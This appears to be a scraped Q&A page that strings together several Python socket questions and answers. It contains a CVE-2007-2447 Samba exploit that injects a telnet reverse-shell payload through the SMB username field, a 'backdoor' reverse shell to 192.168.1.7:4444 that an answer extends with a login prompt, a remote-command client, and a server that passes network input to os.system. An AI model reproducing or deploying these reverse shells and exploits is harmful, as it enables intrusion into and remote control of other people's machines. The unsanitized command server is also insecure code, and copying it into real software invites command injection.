I keep getting this:
Traceback (most recent call last):
File "C:\Users\T_Mac\Desktop\Rex's Stuff\PyNet\Client.py", line 14, in <module
>
server.connect(ADDRESS)
File "C:\Python27\lib\socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
File "C:\Python27\lib\socket.py", line 170, in _dummy
raise error(EBADF, 'Bad file descriptor')
socket.error: [Errno 9] Bad file descriptor
When I run 'changeclient' with this code as my server:
# Server
from socket import *
PORT = 5000
BUFSIZE = 1024
ADDRESS = ('', PORT) # '' = all addresses.
server = socket(AF_INET, SOCK_STREAM)
server.bind(ADDRESS)
server.listen(5)
# print stuff the user needs to know
print ''
print ' ____ _____ ___ _______ '
print ' / \ | | / \ /____\ | '
print '| | | | | | | | '
print ' \____/ \____/| | | \____/ | v0.1'
print ' | | '
print ' | | '
print ' | | '
print ' | _____/ '
print 'Contact Rex for any bug reports at rexploits#gmail.com'
print '\n'
print 'Please input the command when prompted with \'>\''
print 'The stdout stuff will be in this format: '
print ' (<stdout>, <stderr>)\n'
while True:
END_SCRIPT = 0 #Setting command to something other than '1'
print '\nWaiting for connections...'
client, address = server.accept()
print '...client connected from ', address[0], '\n'
while True:
command = raw_input('> ')
if command == 'quit':
server.close()
END_SCRIPT = 1
break
elif command == 'exit':
server.close()
END_SCRIPT = 1
break
elif command == 'changeclient':
print 'Changing clients.....\n'
client.send(command)
break
else:
client.send(command)
commandJazz = client.recv(BUFSIZE)
print commandJazz
if END_SCRIPT == 1:
print 'Closing server......'
print 'Goodbye!'
break
server.close()
And this as my Client:
# client
from subprocess import *
from socket import *
import time
test = 0
PORT = 5000
IP = 'localhost' #To change it to your ip, delete 'raw_input('> ')' and put your IP in its place.
BUFSIZE = 1024
ADDRESS = (IP, PORT)
server = socket(AF_INET, SOCK_STREAM)
while True:
server.connect(ADDRESS)
while True:
command = server.recv(BUFSIZE)
if command == 'changeclient':
server.close()
test = 1
break
else:
executeIt = Popen(command, shell = True, stdin = PIPE, stdout = PIPE, stderr = STDOUT)
commandJazz = executeIt.communicate()
strCommandJazz = str(commandJazz)
server.send(strCommandJazz)
I run my server, then run two instances of my client. It connects fine and everything works fine. I have built in a command called changeclient to disconnect the current client and connect to another. Whenever I execute changeclient, I get the previously posted error on my client.
When you close your socket, dont reuse it. Create a new one:
server = socket(AF_INET, SOCK_STREAM)
server.connect(ADDRESS)
Right now you are trying to reconnect on the same socket instance.
You could also try to use a flag that tells the socket to reuse the port when you reopen it instead of creating a new one.
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
Related
Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.
import sys
import time
import socket
import threading
from smb.SMBConnection import SMBConnection
def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""
print("[+] " + username + password)
s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")
def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()
def commandSender(conn):
shell_status = True
shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()
command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "\n", "utf-8"))
def recvStream(conn, addr, status):
status = True
while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")
if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)
rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]
exploit(rHost, rPort, lHost, lPort)
As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.
I have a lot of cisco switches and routers in my environment. I have three sets of credentials (only one of them works with a particular device. I then have the IPs listed in a notepad (sub.txt). And the configuration in another notepad (config.txt)
The aim is to push the configurations (line by line) from config.txt to the list of list of IP via SSH. If the command is accepted by the devices, a log should be put into success.txt and if the command is not accepted for some reason, a log should be appended to fail.txt
But this does not work. Can you please help me fix?
import paramiko
import time
import sys
import logging
import socket
import pexpect
import traceback
from pexpect.popen_spawn import PopenSpawn
remote_conn_pre = paramiko.SSHClient()
remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ips = [i.strip() for i in open("sub.txt")]
user_local = "user1"
pass_local = "pass1"
user_aspac = "user2"
pass_aspac = "pass2"
user_batcca = "user3"
pass_batcca = "pass3"
g = open('config.txt', 'r+')
str = g.read()
g.close
success = open('success.txt', 'a')
fail = open('failed.txt', 'a')
paramiko.util.log_to_file("paramiko.log")
for ip in ips:
try:
remote_conn_pre.connect(ip, username=user_local, password=pass_local, timeout=4, look_for_keys=False, allow_agent=False)
#print ("SSH connection established to %s" + ip)
remote_conn = remote_conn_pre.invoke_shell()
print (ip + ' === local credential')
#remote_conn.send("show switch\n")
remote_conn.send((str))
time.sleep(2)
output = remote_conn.recv(5000)
print (output)
except paramiko.AuthenticationException:
try:
remote_conn_pre.connect(ip, username=user_aspac, password=pass_aspac, timeout=4, look_for_keys=False, allow_agent=False)
remote_conn1 = remote_conn_pre.invoke_shell()
print ip + ' === Global Credentials'
#output = remote_conn.recv(500)
#remote_conn.send("show switch")
#remote_conn.send("\n")
remote_conn1.send((str))
time.sleep(2)
output1 = remote_conn1.recv(5000)
print (output1)
except paramiko.AuthenticationException:
try:
#remote_conn_pre.connect(ip, username=user_batcca, password=pass_batcca, timeout=4, look_for_keys=False, allow_agent=False)
#remote_conn2 = remote_conn_pre.invoke_shell()
child = pexpect.popen_spawn.PopenSpawn('ssh ' + user_batcca + '#' + ip)
child.expect ('[pP]assword:')
child.sendline(pass_batcca)
print ip + ' === BATCCA Credential'
#output2 = remote_conn2.recv(5000)
for line in open('Config.txt').xreadlines():
child.sendline(line)
i = child.expect (['#', '^'])
if i==0:
success.write(ip + '\t' + line +'\n')
elif i==1:
fail.write(ip + '\t' + line +'\n')
time.sleep(5)
output2 = child.recv(5000)
print (output2)
except paramiko.AuthenticationException:
print ip + ' === Bad credentials'
remote_conn3 = remote_conn_pre.invoke_shell()
output3 = remote_conn3.recv(5000)
print (output3)
except paramiko.SSHException:
print ip + ' === Issues with ssh service'
except socket.error:
print ip + ' === Device unreachable'
So I'm writing a simple socket program. The client sends a directory path to the server. 'data' is the given directory path. In the example below, it takes the path given and runs the Linux command 'ls -l path'.
while True:
print (data.decode())
batcmd=('ls -l ' + data.decode())
result = os.system(batcmd)
So if the client entered '/home/user', the shell command 'ls -l /home/user' will run and display the contents and permissions of the directory.
Now I want to sort through the result and fine a particular word. Then display the line that contains that word.
For example, one line contains the word "Pictures".
So I want to display that line which is
drwxr-xr-x 3 myname myname 4096 Feb 25 2017 Pictures
If I try this:
import subprocess
import os
from socket import socket, gethostbyname, AF_INET, SOCK_DGRAM
import sys
PORT_NUMBER = 2000
SIZE = 1024
hostName = gethostbyname( '0.0.0.0' )
mySocket = socket( AF_INET, SOCK_DGRAM )
mySocket.bind( (hostName, PORT_NUMBER) )
print ("Test server listening on port {0}\n".format(PORT_NUMBER))
# Receive no more than 1024 bytes
while True:
(data,addr) = mySocket.recvfrom(SIZE)
try:
print >>sys.stderr, 'Received data from', addr
while True:
print (data.decode())
batcmd=('ls -l ' + data.decode())
result = os.system(batcmd)
word = "Pictures"
print result.find(word)
# Do other stuff here
finally:
print >> sys.stderr, 'closing socket'
sys.exit()
I get the error "AttributeError: 'int' object has no attribute 'find'"
If I try this:
import subprocess
import os
from socket import socket, gethostbyname, AF_INET, SOCK_DGRAM
import sys
PORT_NUMBER = 2000
SIZE = 1024
hostName = gethostbyname( '0.0.0.0' )
mySocket = socket( AF_INET, SOCK_DGRAM )
mySocket.bind( (hostName, PORT_NUMBER) )
print ("Test server listening on port {0}\n".format(PORT_NUMBER))
# Receive no more than 1024 bytes
while True:
(data,addr) = mySocket.recvfrom(SIZE)
try:
print >>sys.stderr, 'Received data from', addr
while True:
print (data.decode())
batcmd=('ls -l ' + data.decode())
result = os.system(batcmd)
word = "pictures"
for line in result:
search_res = word(line)
print line
if search_res is None:
print ("That word does not exist.")
break
else:
print ("something else")
# Do other stuff
finally:
print >> sys.stderr, 'closing socket'
sys.exit()
I get TypeError: 'int' object is not iterable
What is the best way to go about finding a word and printing the line that word is contained in?
Do I need to dump result into a file in order to handle it?
So hello everybody, Im building a python backdoor. So when I start the netcat for listener and I start the backdoor it connects and everything but when I type ipconfig for example it says "The specified file directory cannot be found" or something like that. Here is the code:
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.1.7' # IP for remote connection
PORT = 4444 # Port for remote connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(b'\nYou are connected !\n\nConsole > ')
while 1:
data = s.recv(1024)
if data == 'quit' : break
proc = subprocess.Popen(str(data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(b'\n' + stdoutput)
# Exiting
s.send(b'\nExiting...\n')
s.close()
Try this:
Hope its not too much. I added a few features as well.
You're godamm welcome :)
#!/usr/bin/python
# Import the required librarys for the job
import subprocess
import socket
import os
# Set variables used in the script
HOST = '10.0.0.98' # IP for remote connection
PORT = 4444 # Port for remote connection
PASS = 'Te$t!2#456' # For making the script secure
# Create the socket that will be used
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# This method will be used for handling the exit when you type -quit
def Quit():
s.send(' [<] Hope to see you soon :)\n')
s.close()
Connect()
# This method will wait until the connection is alive
def Connect():
s.connect((HOST, PORT))
s.send('''\n
+--------------------+
| You are connected! |
+--------------------+
| X IS Something err!! |
| < IS Incomming!! |
| > IS Outgoing!! |
+--------------------+
''')
Login()
# Ask for login; if they do not get it right it will ask again ect ect etc
def Login():
s.send(' [>] Please login #>> ')
pwd = s.recv(1024)
if pwd.strip() == PASS:
Shell()
else:
s.send(' [X] Incorrect Login!!\n')
Login()
# Main method -- Hope I'm not pissing you off by calling it a method, I'm used to C# lol ;)
def Shell():
s.send(' [<] We\'re in :)\n [>]-{ ' + os.curdir + ' } Console #>> ')
while 1:
data = s.recv(1024)
# Make sure that you use '-quit'!!
if data.upper()[:5] == '-QUIT' : break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = " [<] " + proc.stdout.read() + proc.stderr.read()
s.send('\n\n' + stdoutput + '\n\n')
s.send(' [>]-{ ' + os.curdir + ' } Console #>> ')
Quit()
Connect()
Hi I am trying to use ipaddress which is integer in this program. but I need to call this as string in response = os.system("ping -c 1 " + hostname + "-I" + str(mystring))
#!/usr/bin/python
import os
interface = os.system("ifconfig ge1 | grep UP")
ip = os.system("ifconfig ge1.1 | grep UP")
ipaddress = os.system("ifconfig ge1 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'")
print ipaddress
mystring = repr(ipaddress)
print mystring
if interface == 0:
print interface, ' interface is UP!'
hostname = "8.8.8.8"
response = os.system("ping -c 1 " + hostname + "-I" + str(mystring))
if response == 0:
print hostname, 'is up!'
else:
print hostname, 'is down!'
else:
print interface, ' interface is down!'
os.system("ifconfig ge1 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'") will not return to you IP address instead EXIT STATUS code, so you need to use a module that gets you the IP address of your interface(eth0, WLAN0..etc),
As suggested by the #stark link comment, use netifaces package or socket module, examples taken from this post :
import netifaces as ni
ni.ifaddresses('eth0')
ip = ni.ifaddresses('eth0')[2][0]['addr']
print ip
===========================================================================
import socket
import fcntl
import struct
def get_ip_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15])
)[20:24])
get_ip_address('eth0')
EDIT-1:
It is recommended that you run your terminal commands through subprocess rather than os.system as I've read it's a lot more safer.
Now, if you wan to pass the result of ip_address into your ping command, here we go:
import subprocess
import socket
import fcntl
import struct
def get_ip_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15])
)[20:24])
hostname = "8.8.8.8"
cmdping = "ping -c 1 " + hostname + " -I " + get_ip_address('eth0')
p = subprocess.Popen(cmdping, shell=True, stderr=subprocess.PIPE)
#The following while loop is meant to get you the output in real time, not to wait for the process to finish until then print the output.
while True:
out = p.stderr.read(1)
if out == '' and p.poll() != None:
break
if out != '':
sys.stdout.write(out)
sys.stdout.flush()